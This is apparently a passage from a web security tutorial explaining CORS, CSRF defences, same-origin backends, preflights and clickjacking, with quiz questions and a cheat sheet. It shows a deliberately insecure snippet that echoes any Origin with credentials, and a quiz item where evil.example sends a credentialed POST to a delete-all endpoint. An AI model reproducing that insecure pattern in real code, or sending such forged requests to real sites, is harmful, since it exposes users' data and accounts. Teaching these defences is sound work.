Note what XSS means in both columns: an attacker's script running in your page can make requests as the user either way. A cookie only stops it from taking the credential away to use later. That's why the common recommendation for browser apps is an HttpOnly, Secure, SameSite=Lax cookie plus a CSRF check. The token-in-JS design trades a problem you can fix with one middleware (CSRF) for one you can't fully fix (token theft). Details on the tokens themselves: AuthN & AuthZ.
The same-origin backend (BFF)
A Backend for frontend usually means "a backend shaped for one frontend". In security discussions it also means: the browser only ever talks to one origin, your BFF, which holds any access tokens server-side and forwards calls to the real APIs.
What you get: no CORS (same origin), no third-party cookies (§05), no tokens in JavaScript, and preflight cost goes to zero. In development, get the same shape with your dev server's proxy instead of a CORS config you'd then be tempted to ship:
import { defineConfig } from "vite";
export default defineConfig({
server: {
proxy: { "/api": "http://localhost:8080" }, // page at :5173 calls /api/… → same origin
},
});What preflights cost
A preflight is a full extra round trip before the real request. On a mobile connection with an 80 ms round trip, a page that saves 5 items with PUT /cart/items/1…/5 spends roughly 5 × 80 ms = 400 ms just asking permission if the saves run one after another (approximate; in parallel it's closer to one extra 80 ms, and connection reuse also matters).
- The cache is per URL, not per server.
Access-Control-Max-Agecaches one answer for one origin + URL pair, so/items/1and/items/2each get their own preflight. - Max-Age is capped by the browser: per MDN, Chromium caps it at 2 hours and Firefox at 24 hours; without the header the answer is cached for 5 seconds.
- Don't dodge preflights by sending JSON as
text/plain. That's exactly the shape a CSRF form can forge (§10). Fix the architecture (same origin) instead.
When the CDN or gateway breaks CORS
Most "CORS suddenly broke in production" incidents aren't about your allowlist at all:
Errors have no CORS headers
Access-Control-Allow-Origin. The browser reports a CORS error and hides the real status. Put the CORS middleware outermost so even errors get the headers, and check the server logs before touching CORS.Two layers add the header
Caches without Vary
Vary: Origin, and check the CDN honors it (some need it configured as part of the cache key).Proxies also matter for CSRF checks: the Origin-vs-Host fallback (§09) fails every legitimate POST if a proxy rewrites Host to an internal name. Forward the original Host, or list your public origin with AddTrustedOrigin.
Proxies that don't forward OPTIONS, or route it to a handler that returns 404/405, break every preflight. So do auth checks that run before the preflight answer (§04).
Debugging CORS in DevTools
- Console: read the whole message. It names the exact rule (missing header, wildcard with credentials, multiple values, preflight failed).
- Network tab: find the request. Chrome shows
CORS errorin the Status column. If there was a preflight, there's a separateOPTIONSrow (or a "Preflight" entry next to it). Check its status and response headers first. - Right-click → Copy as cURL, then replay it with
-ito see the raw headers. Remember curl will show the body regardless (§05); you're comparing headers, not checking access. - Check the response, not the request: CORS is decided only by response headers. A request header you add on the client never fixes a CORS error.
Other cross-origin protections, briefly
- Clickjacking: another site loads your page in an invisible frame and lures the user into clicking your real buttons. The click is genuine, so cookies, SameSite and tokens all pass. Fix: refuse to be framed with
Content-Security-Policy: frame-ancestors 'none'(or'self'); add the olderX-Frame-Options: DENYfor old browsers. One header on every HTML response, e.g.w.Header().Set("Content-Security-Policy", "frame-ancestors 'none'")in Go or thesetHeaderequivalent in Node. See Content Security Policy. - COOP, COEP and CORP: headers that isolate your page from other origins in the same browser process. They exist because of Spectre-style CPU attacks, where a page could read memory it shouldn't share. A page with
Cross-Origin-Opener-Policy: same-originandCross-Origin-Embedder-Policy: require-corpis "cross-origin isolated" (self.crossOriginIsolated === true), which browsers require before allowingSharedArrayBuffer(memory shared between JavaScript threads). Why browsers isolate sites in separate processes: Threads & processes → Chrome.
Pitfalls gallery
“Fixing” the CORS error by echoing any Origin
The error goes away, and every website can now read your users' data with their cookies (§06). If you see Access-Control-Allow-Origin set straight from the request header without a lookup, it's a bug.
res.setHeader("Access-Control-Allow-Origin", req.headers.origin); // ✕
res.setHeader("Access-Control-Allow-Credentials", "true");if (allowedOrigins.has(req.headers.origin)) { // ✓ exact set
res.setHeader("Access-Control-Allow-Origin", req.headers.origin);
res.setHeader("Access-Control-Allow-Credentials", "true");
}Using CORS (or an Origin check) as access control
"Only our frontend can call this API, because CORS." No: curl, scripts and other servers ignore CORS and send any Origin they like (§05). Every endpoint still needs its own Authentication and Authorization checks.
CORS middleware after the auth middleware
Preflights carry no cookies (§04), so the auth layer rejects them with 401, and the browser blames CORS. Answer OPTIONS preflights first, and put CORS headers on error responses too.
handler := auth(cors(mux)) // ✕ auth sees the preflight first → 401handler := cors(auth(mux)) // ✓ preflight answered before auth runsForgetting Vary: Origin
Works in dev, fails "randomly" in production behind a CDN: the cache serves one origin's Allow-Origin to another (§05). Add Vary: Origin to every response on a CORS route, allowed or not.
GET requests that change state
GET /account/delete, GET /logout, GET /follow?user=7. An <img> tag can forge them, SameSite=Lax lets the cookie through on a link click, and every CSRF middleware skips GET by design (§09). Use POST/PUT/DELETE for anything that changes something.
Relying on the browser's default SameSite
Chrome treats a cookie without SameSite as Lax (with a 2-minute POST exception); Firefox and Safari, at the time of writing, don't (§08). Set SameSite=Lax or Strict explicitly on every session cookie.
A JSON endpoint that accepts any Content-Type
A text/plain form can post a body that parses as JSON, without a preflight (§10). Reject non-application/json with 415, and keep the real CSRF check on top.
CSRF tokens in URLs, or compared with ==
A token in a query string (/transfer?csrf=…) leaks into server logs, browser history and the Referer header sent to other sites. Send it in a form field or header. Compare with a constant-time comparison and reject an empty expected value, as validCSRF does in §09.
Exempting login (and signup) from CSRF protection
“There's no session yet, so there's nothing to protect.” There is: login CSRF logs the victim into the attacker's account (§10). Protect every unsafe endpoint, including the ones before login.
Trusting a whole domain pattern
endsWith("example.com"), unescaped regex dots, "null" on the allowlist, or *.example.com covering a forgotten subdomain with an XSS hole (§06). Keep an exact list of origins, and review it like a firewall rule.
Check yourself
Predict the answer before you click. Q1 is covered in §02, Q2–Q3 in §04–§05, Q4 in §06, Q5 in §08, Q6 in §09 and Q7 in §10.
Which pair is the same origin?
A page on evil.example runs fetch("https://api.shop.example/delete-all", {method: "POST", credentials: "include"}). The user is logged in with a SameSite=None cookie, and the API sends no CORS headers. What happens?
The frontend uses credentials: "include". The API answers Access-Control-Allow-Origin: * and Access-Control-Allow-Credentials: true. Result?
Which allowlist check lets an attacker read users' data?
Sam's session cookie is SameSite=Lax. From evil.example, which request still carries it to bank.example?
With Go's http.CrossOriginProtection wrapping the mux, a page on https://app.bank.example POSTs to https://bank.example/transfer. Its browser sends Sec-Fetch-Site: same-site. Result?
A Go handler does json.NewDecoder(r.Body).Decode(&t) and never looks at Content-Type. It uses cookie sessions and has no CSRF check. Is it forgeable by a plain HTML form?
Cheat sheet
app.x.com and api.x.com are one site).credentials: "include" + exact Allow-Origin + Allow-Credentials: true. Never *, never echo any origin, never null.Origin, say so, or a cache will serve the wrong one.SameSite=Lax (explicitly) + reject cross-origin writes: Go 1.25+ http.CrossOriginProtection, or Sec-Fetch-Site/Origin checks, or tokens.GET/HEAD/OPTIONS through. Writes must be POST/PUT/PATCH/DELETE.| I want to… | Do this |
|---|---|
| Call my API from my frontend without CORS | Same origin: /api behind the same host (reverse proxy, BFF, Vite server.proxy in dev) |
| Let one other origin read with cookies | Allow-Origin: <that exact origin>, Allow-Credentials: true, Vary: Origin |
| Serve truly public data to anyone | Allow-Origin: *, no credentials (never on intranet APIs) |
Allow PUT/DELETE/JSON from another origin | Answer the OPTIONS preflight: Allow-Methods, Allow-Headers, Max-Age; before auth |
| Read a custom response header cross-origin | Access-Control-Expose-Headers: X-Request-Id |
| Stop CSRF in Go | http.NewCrossOriginProtection().Handler(mux) (Go 1.25+) + SameSite=Lax |
| Stop CSRF in Node | Sec-Fetch-Site ∈ none for unsafe methods, else Origin host = Host; + SameSite=Lax |
| Classic token | Random per-session token in the form/header, constant-time compare |
| JSON endpoint | Require Content-Type: application/json (else 415), plus the CSRF check |
| Stop clickjacking | Content-Security-Policy: frame-ancestors 'none' (+ X-Frame-Options: DENY) |
| Header | Who sends it | Remember |
|---|---|---|
Origin | browser | Can't be faked by page scripts; can be by curl |
Sec-Fetch-Site | browser | same-origin / same-site / cross-site / none |
Access-Control-Allow-Origin | server | One origin or * |
Access-Control-Allow-Credentials | server | true or absent |
Access-Control-Max-Age | server | Seconds; capped by browsers (≈2 h Chromium) |
Set-Cookie: …; SameSite=Lax | server | None requires Secure |